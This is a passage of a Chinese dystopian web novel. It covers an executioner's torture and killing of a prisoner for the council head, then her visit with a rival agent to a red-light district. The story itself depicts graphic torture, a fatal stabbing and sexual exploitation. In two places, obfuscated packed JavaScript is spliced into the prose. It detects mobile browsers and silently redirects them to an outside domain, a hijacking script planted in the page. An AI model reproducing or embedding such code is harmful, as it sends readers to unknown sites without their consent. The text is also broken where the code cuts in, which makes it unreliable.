“你怎么说话的?子琛也是为了这个家好——”另一名奢华打扮的老人开口,被目光一扫,讪讪闭嘴了。 “但这种照片传出去,以后薛家人的脸往哪放啊。”有人小声道。 “是啊是啊,我今天去沙龙,别人都在背后笑我。说家里出了一个……” “注意言辞。”贵妇人瞪过去。 “呵!说家里出了一个花花公子就算了,大家都是A级公民,会玩点不要紧。但可惜,谁叫薛子琛被脱光了绑成那样,一看就是被玩的那一个——” 声音又响又亮,提高八度,撞到墙上都能碎成几块。 薛柏寒站直身。 房间里的薛家人都默默一凛,齐齐噤声了。 薛家地位能水涨船高,全靠的是薛柏寒,他说的话,就算再不愿意,所有人都得听。 议会长相当于联邦的最高指挥官,薛柏寒气势自然逼人。 他撩了撩眼皮:“叫林又茉来一趟。” ** 林又茉起来洗澡完,换衣服时,季相兰醒了。 季相兰托扶着额头,朦胧看她,他衣衫散乱,胸前暴露在空气中一点红艳艳一片,肿得糜烂。感受到身体上的疼痛,季相兰不用看都知道成了什么样,他拢衣起来,幽幽叹息:“就知道还是小混蛋。” 今天还要出席活动,得贴个贴才行。不然被粉丝拿着放大镜发现大明星前两晚上给人喂奶,不知道舆论成什么样。 季相兰倒是不在意,但不能惹金主代言方不高兴。 “你在想什么。”察觉到季相兰走神,林又茉难得开口问。 季相兰叹气:“给小混蛋赚奶粉钱。” “……?” 落地镜前,林又茉停下动作。季相兰的卧室有一面不规则形、足足有半面墙宽的镜子,将室内映得一览无余。 季相兰比她高一个头,将下巴抵在林又茉头顶,从背后把她拢进怀里,怜爱又疼爱:“起这么早,想吃点什么?” 林又茉发烧,在他家呆了两夜,季相兰自然是欢迎,他无微不至地照顾,寸步不离,就快把自己融进她身体里,可惜林又茉是林又茉,床上不近人情得可怕,只有床下才任他捏圆搓扁,乖得可爱。 林又茉前一晚退烧,就折腾了他直到半夜,两晚没怎么睡的季相兰最后不得不真的柔声硬声齐使劲,颇有点恨得牙痒痒。 好歹再叫他一声哥哥呢? 那个乖巧黏人的林又茉被夺舍了? 但,现在。镜子里的乖巧小女孩又跟他对视了。 林又茉抬起眼:“我今天要去议会。” 林又茉的声音很慢,平静,她声音也乖乖的,语调像告诉父母要去上学一样的小女孩。 “议会?” “议会长的通知。” 季相兰怔了下,双手绕过去对着镜面替她整理她的领结,他弯了弯唇,“好啊,给我带点纪念品,随便带几根人的手指。……开玩笑的,不是真的带。” 听到这句,林又茉的睫毛才微微眨了一下,她说:“哦。” 林又茉真的会给他带手指。 季相兰拍戏拍得多,假道具见过不少,混这个糜烂的娱乐圈子,真的也大差不差见过几次,林又茉上次从袋子里掏出一枚打包好的真眼球时,饶是什么都见过点的大明星还是定住了。 当时季相兰盯着那枚眼球,缓慢地眨了下眼,无奈弯唇:“我说想看他的眼睛有多有神不是这么看……但也不错。” 有的死人丢失了一只眼睛,但他收获了爱情。 季相兰觉得林又茉像一只漂亮猫猫,会按照自己理解给他带小礼物呢。 多可爱呀。 “不过如果是薛柏寒的眼睛,还是给我带一只吧。”季相兰轻描淡写,弯起唇,扯了下丝带,替她打好了领结。 镜子里,他撩起眼,和林又茉的视线对视上。 薛柏寒是议会长,也是林又茉的顶头长官。 换句话说,是联邦里唯一权限比她高的人。 季相兰不懂政治,但……没有人不讨厌指手画脚,还随时叫人出勤的上司。 ** “欢迎大家来到议会宫!” “这里是联邦的政治中心,联邦议会长平日工作、各级官员对议会长进行汇报的地方,同时,跨过窗后这里的花园,这里也是议会长平日里居住的府邸,看,就是那栋富丽堂皇的白色建筑,是议会长的家。” “议会长享有联邦最高的官职,对所有的联邦官员具有质询权、罢免权、问责权、任命权,没错没错,议会长就是联邦里最大的官啦。” “但他的这些权力只对一个人除外——这个人是谁,有没有小朋友知道?” 议会宫对外开放区域,一群五六岁大、父母皆是A级公民和B级公民、经过严格背景筛查,确保他们是绝对优秀公民后代的小孩子们呼啦啦在走廊里挤成一团,眼睛圆圆地瞪大:“?” 他们集体穿着的黄色小衣服,戴着小黄帽,像一大团法式蛋糕。 “我我我!”可爱的小孩也有表现欲,法式小蛋糕们开始弹跳,“选我选我!” “老师我知道!” “我知道!” “我先举手的!” “我姑姑是执安局长,把你抓起来!” “我爷爷是税务署署长,没收你家的钱!” “我奶奶……” 几个富二十代们打起来,角落里一个扎羊角辫的小女孩慢吞吞舔着一个棒棒糖,有些迟钝,对小鸟争宠毫不感兴趣。 一道黑发少女的身影慢慢停下在她旁边,走廊前方拥堵,她不喜欢人多,站住,安静等待。 “是执刑官!” “答对啦,老师奖励你一颗深海产出蔚蓝IIa级4.7克拉钻石!” “好耶呜呼!” 小女孩慢慢舔了下棒棒糖:嘶溜。 林又茉看她一眼。 “就像我们刚刚获得上将军衔的布莱登将军家的三少爷小布莱登说的一样,没错,唯一一个议会长无法罢免的人就是执刑官。” “执刑官是独立于议会外的存在,家族世袭代代继承,不由议会长任命,也不对议会长负责。她拥有最高执法权,在议会长犯法的情况下,甚至可以依照法律对议会长进行处罚。” “也就是说,虽然执刑官在职级上听从议会长的命令,但这仅仅基于议会长不犯法的原则上。” 小女孩又慢慢舔了一下棒棒糖:嘶溜。 林又茉转过来看她。 “可以说,执刑官,是联邦司法制度的一把刀,所以,也被人叫做‘刽子手’。” “但你们要小心哦,如果你们一旦犯法,刽子手可是会半夜爬到你们家来把你们的头切掉的哦!” “呜呜呜啊啊啊!”小萝卜头们吓哭一片。 “我不要掉头!”“我喜欢我的头!”“切小布莱登的头!”“干嘛切我的头!” 一片闹哄哄之中,小女孩仍然慢慢舔棒棒糖。终于,身边的黑发少女跟她搭话了。 “你好。”少女的声音很淡,弯下腰来,歪过头,“你在吃什么?” “唔唔……棒棒糖。” “可以给我看一眼吗?” 小女孩把嘴巴里的棒棒糖叭地拔出来。 “刽子手好可怕呜呜呜!母亲经常讲她的故事,我分不清蓝宝石和玻璃的区别刽子手就会把我抓走!” “我父亲也是,如果我不能学会一天花掉五十万,刽子手就会把我的手割掉!” 林又茉专心地看了看棒棒糖。 小女孩期待看她:“温柔的姐姐,你也喜欢吗?” 林又茉点头,把糖装进袋子里:“喜欢。” “那你……” “我没收了。 “?!” 小女孩在走廊里嚎啕大哭。 林又茉停下在被拦住的围栏前。 守卫从号啕大哭的小孩身上收回视线,猛咽口水:“执……执刑官大人。” 执刑官就这么欺负小孩吗? 林又茉:“我想找薛柏寒。” 守卫:“您的话,不需要排队跟着平民们走平民入口的。这边有专门的电梯,直达议会长的府邸。” 林又茉露出了有些困惑的表情,但她还是礼貌道:“谢谢。” 在她走后,守卫们悄悄嘀咕。 “等一下……她是不是从没来过议会宫?连专门入口都不知道?” “不会吧,薛议会长加冕礼她也没来?” “没来。” “那前一任议会长的呢?” “也没来。” “?!这么狂?那年初、年中、年底述职呢?新年晚宴呢?各类晚宴呢?议会长办的,不能不来吧?” “……” “你觉得呢?” “我多余问。” 几人絮叨之际,见林又茉忽然去而复返,守卫们立刻站得笔直。 “帮我一个忙。”林又茉说。 她拎起了手里的袋子,轻微停顿,眼睫垂下,“这个,帮我买一份。” ** 哗。 厚重科技感的大门打开,林又茉接受了对她没有用的安全检查:检查机器自动报错,【权限干扰】——一个机器对于权限更高级别的人的无力呻.吟。 于是林又茉出示了执刑官的证件,全程配合安静,吓得安保人员大气不敢出。 林又茉到达薛柏寒办公室时,薛柏寒正站在房间一侧与人谈话。她到的很准时。 房间里有四个人。 薛柏寒,薛柏寒交谈的人,薛柏寒的秘书,以及她。 与薛柏寒交谈的人是财政署局长,见林又茉进来就止住了话头,但薛柏寒仍然哈哈大笑,没有停下谈话的意思,财政局长只好陪聊,但绷紧的下颚,紧绷的肩膀,防御性的扶手,都显出了局长的不安和拘谨。 林又茉像个安静的摆件,站在那,一言不发。 直到二十多分钟后,薛柏寒才大手一挥,将大腹便便的财政局长放归山林。 财政局长飞一般逃出办公室,屁股后像有火在烧。 “执刑官。”薛柏寒视线终于落到林又茉头上。 “议会长。”林又茉点头。 “等久了?” “还好。” “是么。” “都是工作时间,工作内容。”所以做什么对林又茉都一样,林又茉想起他的口癖,“长官。” 薛柏寒愣了下,在身后秘书惶恐的目光中,露出耐人寻味的表情。 熟悉议会长的人都知道,让他感兴趣的人或物一般都不会有什么好下场。 “议会长,”秘书低声提醒,“现在您的日程是去……您看您是不是先处理——”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710235|173604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不用。” “林又茉在这。” 薛柏寒将平板递还给秘书,盯着林又茉道,“这件事还有比交给‘刽子手’更好的选择么?” ** 林又茉没想到薛柏寒让她来的地方是囚室。 高高在上的议会宫,地下室竟然是监狱,关押的是议会长最心系的敌人。 每间牢室密不透风,不开灯就漆黑一片,林又茉走进去盯着那些豪无缝隙的墙壁,想起当初那个死在这里的神官。 一群穿着深色制服、面色倨傲的人出去,林又茉认出是监狱审讯那群人,他们跟她一向不太对付。他们认为她被民众神化,权力过大,削弱了联邦政府职能机构的权威。 林又茉觉得他们工作久了学会了狗叫。 林又茉走进囚室。 一个看不清面容满脸血痕的男人垂头坐在那,表情狰狞,华丽的衣服、配饰肮脏污浊,见到有人进来发狂大笑,笑得脸上伤痕裂开,血液哗啦啦往下流。 “你们这群——杂种!我绝不会告诉你们一个字,绝不!” “无论你们怎么对我用刑,我都不会说!你们绝不配从我这得到一个字的答案!你们以为身体上的刑罚就对我有用吗?笑话,天大的笑话!我绝不会为这点小伤就屈服!你们都是白用功!” 林又茉停在血泊边缘前。 “罪名?” “通敌、卖国、非法贩卖军饷。” 薛柏寒漫不经心,“哦对,还有十年前闯过一次红灯。” “……” 肮脏男人停顿几秒,嘶吼尖叫,“薛柏寒,你这个杂种——杂种!你竟然敢以权谋私,你竟然敢这么对我?!” 林又茉看了看男人的脸,认出他是薛柏寒以前的政敌。 政治游戏残酷,成王败寇,很显然,在薛柏寒当选议会长之后,这些曾经的劲敌都会被他慢慢清算。 薛柏寒笑了:“不能违反交通规则,你不知道么?” “你——” 但肮脏男人很快闭嘴,因为林又茉向前了一步。 牢实内幽幽的侧灯将林又茉的脸照亮一片,阴影中,她纯洁天真,似鬼似魅。 肮脏男人狠狠用力闭嘴。 显然知道她是谁。 林又茉垂眼慢慢将平板上的证据看完,跟上司理论:“这不是我的工作范围。” 法律有司法署和治安署判罚执行,不需要她。 薛柏寒:“但只有你能做到。” 林又茉抬眼看他。 “那些监察的人毫无结果。” 薛柏寒似笑非笑,“如果鼎鼎大名的刽子手亲自来也没用,问不出军武贩卖的对象,那我得怀疑这个职位是不是还有设置的必要了。” “你说是不是,执刑官?” 林又茉停顿两秒:“好的,长官。” 她戴上了手套。 椅子上的肮脏男人剧烈挣扎起来。 黑发少女戴上手套的姿势娴熟、缓慢、优雅,几乎让人看了会入迷,但对林又茉,这只是准备工作的普通一步。 刚要动作,少女又停下来。 “您要留下来看么,长官?” 秘书两股战战,往门边蹭。 薛柏寒已经靠到阴影里,高大身影神情不清。 “当然了。”传来他慢条斯理的声音,“这是我的荣幸。” “好。” 林又茉没有在意,向前一步,“那我开始。” 薛柏寒看她的目光缓缓定住。 林又茉工作时心无旁骛,对周遭一切漠视漠然,并不在乎,宛如指挥家面对她的乐谱。 她低下头。 …… …… …… 牢室内空气浓重、厚重、带着剧烈的血腥气。 看守的护卫吐了一批,换了一批,随着声响传来,秘书已经肠胃翻腾,一张膏药一样贴在铁门上,想将自己从门缝挤出去,不断说服自己看到的都不存在。 人人都说刽子手残忍,可她竟然看起来温柔。这难道才是她恐怖的地方? 在某一瞬间,恍惚的瞬间,秘书竟然觉得躺在她手下或许是一件幸福的事情。 因为她的神情太恬淡了,那样漂亮的一张脸,这样持久的注视,也许在某一种情境下或许就是幸福呢? 不知道过了多久,或者几个小时,几刻钟,或者只是短短的几分钟,秘书终于从恍惚中回神回来,林又茉已经在收尾。 她的手很轻,很稳,戴着手套按在那个人的眼下,将那颗眼神无神的头颅抬起来。 她的动作很温柔,甚至像在对待情人。 “武器交易的对象问到了。”她说。 “你做得很好。” 薛柏寒说,“对了,有件事我忘记说了。” 林又茉看他。 “他一直以来的性幻想对象是温臻。” 嚓一下,一把直刀扎入了囚犯的面颊! 动作太快,像是即时反应,所有人都没反应过来,血唰地溅出来,飙到她脸上,宛如鬼魅。 那把刀直接穿透了那个人的脑袋。 林又茉垂着眼,手握着刀柄,慢慢拔出来:“失误了。” 比起之前的温柔,刚刚那一刹的凌厉反差鲜明过大,让人仿佛勘到了恶鬼面具下的一角。囚犯面容扭曲,痛苦痉挛,在尖锐的一声抽气后结束了呼吸。 囚室内无比安静。 薛柏寒呼吸急促,他为自己看到的那一幕兴奋、血液加快,嘴角的笑容扩大,他看到了破绽,破绽——刽子手的破绽—— 林又茉那双黑眼睛转过来看他。 薛柏寒笑起来,几乎怜悯:“原来是这样。” “原来你的弱点是……温臻。” 6.第 6 章 “原来传闻是真的。”薛柏寒道。 不近人情的刽子手,唯一在意的是幼年短暂抚养过她的人。温臻真的养育过她——这个答案不可思议又合理地令人意外。 可是什么时候?温臻足不出户,他们是怎么联系上的? 但或许林又茉只是一个狂热的信徒?薛柏寒也不否认这种可能性,但他要的答案已经得到了。 俄狄浦斯情结*……真是可惜。 守卫一下把林又茉团团围住。 狭小的囚室内,放着一个刚开了颅的死人,以及这个联邦的议会长和执刑官。如果这不算重大安全危机,不知道什么该算是了。 “执刑官……您冷静!”秘书叫道,“不要冲动!” 林又茉没有表情。 她明明什么都没做。 她把手里的刀抬起来——还挂着脑浆——守卫们脊背一凛。 林又茉把刀放到一边——守卫们神情一松,微微放松,但没有完全松懈。 听说刽子手没有武器也可以徒手杀人,谁敢掉以轻心? 而林又茉只是问:“人死了,需要怎么处理?” 在被所有枪口指向时,林又茉显得很安静。少女的脸被顶光照亮一片,光线中,她的瞳孔瞳仁没有丝毫变化。 像这些话语对她没有任何意义。 她说:“囚犯死了。如果需要,我可以处理后续。” 薛柏寒问:“怎么处理?” 林又茉:“找到那些名字后面的主谋。” 这本来就是她的工作内容之一。她是法律具像化的武器,宰割那些罪人。私下贩卖军火是死罪。 她明明站在世俗正义的一方。 发现问题——解决问题,这是林又茉的逻辑方式,简单但有用。 世界上90%的事可以用这个公式解决。剩下10%如果解决不了,那么林又茉还有开枪的权力。 林又茉摊开双手:“您希望我怎么做。长官?” 她歪了下头:“您是希望我继续工作,还是您想为您侄子的丑闻,向我报仇?” 囚室内陷入诡异的沉默。 刽子手两手空空,但没人觉得这是种和平的象征,尤其在大多数人亲眼目睹了这牢房里的一切之后。 侄子的丑闻——没错,林又茉在来之前,就知道这该是一个下马威。她把薛子琛绑成生日气球,可惜没有人理解她的幽默。薛柏寒也许不在乎他侄子是不是被玩死,但议会长的脸面是另一回事。 林又茉是横在他心上的那根刺。 囚室里诡异的沉默加剧。 守卫和秘书的呼吸声加重。没有人愿意看到任何一方受到伤害的场面,但他们毫无疑问站在议会长这一方。 议会长代表联邦,而执刑官她只是……一个人…… “砰!”一声剧烈的枪响! 一道子弹嗖地划破空气,命中额头! 守卫们如临大敌,场面骤然一片混乱。 林又茉纹丝不动。 她慢慢扭头看去,刚刚被开颅的囚犯头上赫然又多出了一个新鲜冒烟的弹孔,堪堪掩盖住原本的刀伤,盖住了她的失误。 被射击的是囚犯。 薛柏寒慢条斯理地摘下手套,将枪递还给守卫。 议会长亲自开的枪,颠倒事实,一切盖棺定论。 没有人会发现她的失误。 高大伟岸的男人灰色眼瞳淡漠,离开时声音平静:“你找到主谋。一笔勾销。” “——带上‘红刀’。” 在林又茉走出囚室时,这句话把她定在了原地。 ** “红刀”,是一个人的代号。 他像林又茉的翻转面。 如果说“刽子手”林又茉大名鼎鼎,不苟言笑,那么“红刀”更像一个阴影里的影子,只在圈子内闻名,笑面虎。 杀人时笑嘻嘻——林又茉不明白为什么那些人不叫他愉悦犯,而把这个名头安在她头上。 明明她从来不笑。 “红刀”直接隶属议会,替大人物们处决敌人,执行任务,但可惜同样受法律保护,林又茉与他几乎没有交集。 ……但“红刀”并不这么想。 就譬如,之前审讯失败的那些深色制服,就是“红刀”的手下。林又茉半小时内完成了他们搞不定的事,自然引来敌意。更不用说过去无数任务,只要能用林又茉的,几乎都会选她。 换言之,红刀单方面把林又茉当竞争对手死对头,争锋相对、恨意滔天、不死不休。 而林又茉觉得红刀是个不太好相处的同事。 没有人喜欢跟这样的同事出外勤。 “嗖——” 一声破风声。 街口风很大。 今夜刚下过雨,狂风卷席,都城的夜晚霓虹色彩。高楼大厦和呼啸而过的空中列车和无人机映在地面的雨洼里。 夸张的电子荧幕切换着海报与广告,妩媚的人影与暧昧的广告词让人着迷,性感暴露的画面令无数人驻足。在这个时代,购买可以买来一切:虚假的爱情、短暂的欢愉、深情的爱人。 “唰”一声,广告换成季相兰,美丽的金发男人一副人夫打扮,在浴室里弯眼温柔地对着镜头笑,引起行人一片口哨, “亲爱的,我在浴室里等你——” 嚓。林又茉抬手接住扔来的小刀。 她转过脸,看向走来的男人。 男人——与其说是男人,不如说是少年,“红刀”不愧是她的翻版。 红刀从雨里走来,黑发凌乱,身型在少年和青年之间,红色的衬衫背着把黑色的刀,脖子上绑着个黑色颈环,看到她就笑,露出两颗虎牙。 红刀一双桃花眼笑眯眯:“好久不见呀执刑官。我好想你,你想不想我?” 林又茉手里还握着他刚刚扔来的小刀。 不得不说,边界感不强。 林又茉:“许久不见。” 红刀绕着她走了一圈,量她的身高:“你好像还是小矮子,还是没长高,是不是已经过了发育年龄了执刑官?” 林又茉:“你也不赖。” 红刀歪头:“嗯?” 林又茉:“胸围没变。” 红刀气乐了:“你说我胸小?” 少年阴恻恻地低头盯她,牙痒痒。 “嗯。”林又茉点头,平静得让红刀有一瞬怀疑自己。 “走吗?” “走。” 两人向着面前的建筑群迈去。 在鳞次栉比的大厦之间,面前的这块区域显得格格不入,古代建筑低矮,古旧,亮着漂亮的灯笼,亭台楼阁像某个不知名时代的特色风格,令人眼花缭乱的霓虹灯在灯笼下闪烁,穿着各异的招待带着恰到好处的微笑。 红灯区。 销金窟,温柔乡。 红刀打了个响指。 “你来过?” “当然。”红刀大大咧咧地说。 少年胳膊枕在脑后,伸了个懒腰,红刀长了张妖媚的脸,跟这个地方相得益彰。 “红灯区嘛,来着来着就来习惯了。执刑官,你不会从来没来过吧?这可是都城的著名打卡景点之一。” “没有。” “我忘了,你还没成年多久。”红刀故作惋惜道,比了比她脑袋的位置,刚好到他胸口。小萝卜丁。 “可能进门你还要被查证件。毕竟有些人看起来就像个未成年,回去说不定还要哭哭啼啼做作业。” 林又茉:“这次行动不能打草惊蛇。” “好了好了知道了。”红刀耸耸肩,为她没有幽默感而遗憾,“我就是开一个玩笑。东西都准备好了,喏。议会出品,保真。” 红刀手指一翻,夹出一枚假.证件,精细如新。 林又茉收好证件。 刽子手名气太大,林又茉出现在哪里都引起人群轰动,所以这次不能她出面。 林又茉准备好假发换装要往头上戴,被红刀拦下。 “不用这么麻烦。”他说,转手从不知道哪儿扯出来一个面具,扣在了林又茉脸上。 面具像画出来的,五官简笔画,像艺术表演用的。 戴上面具的林又茉虽然看不到脸,但身型、制服、以及装束,都不难看出是她本人。 林又茉:“……” 红刀悠悠笑,意味深长:“等进去你就知道了。” ** 红灯区常看常新。内容日新月异,分区却是一早划分好的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722394|173604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红刀带着林又茉穿梭在里面闲庭信步,悠闲地像在自家后院散步,橘黄灯笼下楼梯上时不时还有人屈膝跟他打招呼,叫红刀的名字,红刀笑眯眯一概全收。 红灯区由联邦监管,收取税收,但实际控制权并不在联邦手上。 A级公民在联邦凤毛麟角,权利滔天,关系错综复杂,究竟是哪个人实际在掌权,过了几百年的变化,已经没人知道背后的老板是谁。 联邦议会长是选举换届制,不过几十年的任期,没人会为了几十年跟一个深不可测的庞然大物较劲,于是每一任议会长都睁一只眼闭一只眼,几乎放任自流。 但囚室里死去的囚犯,给出的名字就是红灯区明面上的主管,李七。 “可惜他们做什么不好,非要搞军火呢。”红刀说,“这是议会忍不了的事情。这么来钱的生意,可惜了。” 红灯区雅俗共赏,有高雅的只可远观不可亵玩,就有暴烈粗俗的那一面。 红刀带着林又茉走进亭台楼阁深处,本来典雅的橘红色灯笼被更艳丽的红色替代,走进一间只有墙的大厅,无数的人影攒动,各种响声齐聚。 林又茉停下脚步。 墙上洞里的都是E级公民。他们卖力干活,脸上露出讨好迷醉的表情,脖子后方显示着一行清晰的字体: 【E级公民,信用点:-xxx】 每当有一位客人结束,按下好评的按钮,相应E级公民脖子后的信用点就会跳动+1。 因为这样的激励,E级们感激涕零,工作得更加卖力。 林又茉那天看到被警察枪击坠地的黄毛也在其中,一头黄毛已经被喷洒地看不出颜色。 “只要信用点挣到正数,他们就可以脱离E级公民的行列,成为D级了。不然只能一辈子在这当公用烂泥。” 红刀语出惊人:“这样增加信用点的方式也太容易了,如果B级到A级也这么简单,我也愿意在这里天天接客,直到升级。” 少年妖媚的脸上,眉宇间尽是可惜。 察觉到林又茉的视线,红刀乜她,语调轻飘飘:“我不行么?” 红刀有一双桃花眼,睨人时艳意横生,唇色红艳,是很适合干一切事情的唇形。 少年脖颈后方,隐隐约约浮现一行字:【B级公民,信用点:2812】。 他意外地会受欢迎。 林又茉:“那你要接688次。” 红刀“喔”了声,弯下腰来问:“那执刑官你会来光顾我么?我会好好招待你。” 林又茉:“那还剩687次。” 红刀:“我会算数!”他再一次为林又茉没有幽默感恨得牙痒痒。 林又茉:“不知道呢。” 红刀:“!!” 红刀忍住要揉乱林又茉头发的冲动,哼了句“小丫头”跟在林又茉身后迈腿走出去。 越往里,色彩越浓烈,分区越复杂,监管力度越小,无数不该出现的内容都在出现。 譬如……宗教。神官仿制品是高级违禁品,所以没有人会明目张胆打着神官的名号揽客,但白袍金发的男男女女,建造成神殿一般的建筑风格,让人有种吃代餐身临其境的错觉。 有一个人长得像温臻,绿眼睛像温柔的湖。 林又茉只看了一眼就移开了视线。 倒是红刀盯着神殿构造啧啧称奇,看了好几秒才移步离开。 走到最深处一处楼宇,林又茉停下脚步。 这是一栋特殊的建筑。整栋楼只卖一样东西。 林又茉慢慢抬起头,面具正应对着大门。 她明白为什么她仅仅戴上面具,却不会被发现的缘由了。 在正门的大门口,竖立着亮着幽光的展示柜,里面泡着一具跟她相同打扮,一比一大小的……人偶。 哗,大门打开,几名跟她一样黑发制服模样的人在楼里行走,脸上戴着不同的面具,这些人拿刀,拿鞭,拿绳,各自牵着痴迷模样的客人,那些人以被虐待为乐,时不时发出古怪的惨叫。 林又茉甚至看到了几名民间反对她最厉害的公众人物。爬在地上,像狗,叫着她的名字。 红刀走到她身边,发出愉悦的笑声:“执刑官大人……你其实,超级受欢迎呢。”